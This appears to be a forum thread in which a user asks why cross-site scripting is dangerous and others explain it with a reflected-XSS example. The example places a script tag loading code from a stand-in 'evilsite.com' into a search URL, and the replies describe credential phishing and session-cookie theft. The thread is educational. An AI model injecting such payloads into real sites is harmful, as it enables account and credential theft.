I'm curious why/how XSS is a problem. Can someone describe a practical example of how this has been successfully abused? To me XSS allows a page to be distributed over many servers and that's more of a feature than a threat!
For another example, you could imagine a page on a website that includes the contents of a URL query in the response. For example, you visit www.goodsite.com/search.php?q=PurpleZebra, and the page displays "Your search for PurpleZebra did not return any results."
Now in the URL replace "PurpleZebra" with "<script src='evilsite.com/script.js'>" and trick someone into clicking on that link - now the error page delivered by goodsite.com includes the script from evilsite.com.
But either way, they both allow an attacker to display information on a website, when the content didn't originate from that site.
An example of how this could be really bad, would be a script that deletes all of the content from the document body and replaces it with a login screen. Rather than actually logging you in, it submits the username and password you entered to a site the attacker has control over.
Another, less obvious method, would be a script that captures your session cookie and submits that to another site the attacker has control over. If you were logged in to the site, the attacker could use the session cookie to authenticate to the site as you without logging in.
1) Don't click on bad URLs. (should be taught at kinder-garden by now)
2) Replace all input <> with <> etc.
I'm convinced scripts should not be able to read cookies for other domains?
Surely I'm missing something?